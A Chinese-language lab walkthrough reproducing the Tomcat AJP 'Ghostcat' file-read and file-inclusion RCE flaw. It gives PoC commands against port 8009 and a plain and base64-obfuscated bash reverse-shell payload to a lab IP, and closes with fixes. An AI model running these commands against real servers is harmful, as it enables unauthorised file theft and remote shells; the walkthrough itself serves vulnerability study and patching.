0x00 簡介
Tomcat在server.xml中配置有HTTP連接配接器和AJP連接配接器,AJP連接配接器可以通過AJP協定與另一個web容器進行互動。AJP協定是定向包協定,其使用端口為8009端口,為提高性能,AJP協定采用二進制形勢代替文本形勢。
0x01漏洞簡介
在2020年2月20日,CNVD釋出了漏洞公告。該漏洞是Tomcat AJP協定存在缺陷而導緻,攻擊者可以通過構造特定的參數,讀取tomcat的webapps/ROOT目錄下的任意檔案。同時,若該伺服器存在檔案上傳功能,攻擊者還可以進一步實作遠端代碼執行。
0x02 影響版本
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31
0x03 環境搭建
本次測試使用 kali 20.4版本,tomcat 為8.5.50版本
- 搭建好 tomcat 的環境
- 本次測試使用 python2.7 版本并已配置相應 pip
python --version pip2 --version
- 開啟tomcat伺服器,并檢查8009端口是否開啟
0x04 任意檔案漏洞複現
poc連結:https://github.com/nibiwodong/CNVD-2020-10487-Tomcat-ajp-POC
- 進入poc目錄下執行以下指令安裝依賴包
pip install -r requirements.txt
- 執行以下指令進行檔案讀取,-p 接目标系統開放的端口,最後跟上目标靶機的 IP
python poc.py -p 8009 -f "/WEB-INF/web.xml" 127.0.0.1
執行以下指令檢視 Tomcat 的 webapps/ROOT 目錄
cd ROOT
ls -l
結果如下圖所示:
0x05 檔案包含緻RCE漏洞複現
- 構造payload,并将 payload 放置在 webapps/ROOT 目錄下 1.txt 檔案内容如下:
其中第一行 exec 包含的就是我們構造的指令
這裡的bash指令是由 線上生成器 生成
# raw: bash -i >& /dev/tcp/192.168.126.136/8888 0>&1 # after confusion bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNi4xMzYvODg4OCAwPiYx}|{base64,-d}|{bash,-i}
- 在webapps/ROOT下開啟本地監聽
- 執行以下指令運作 poc
python poc.py -p 8009 -f 1.txt 127.0.0.1
- 成功反彈shell
whoami dir
0x06 漏洞修複
1.臨時禁用AJP協定端口:在 conf/server.xml 配置檔案中注釋掉117行的 <Connector port=“8009” protocol="AJP/1.3"redirectPort=“8443” /> ,然後重新開機伺服器。
2.官方已釋出新版本完成漏洞修複,下載下傳新版本即可。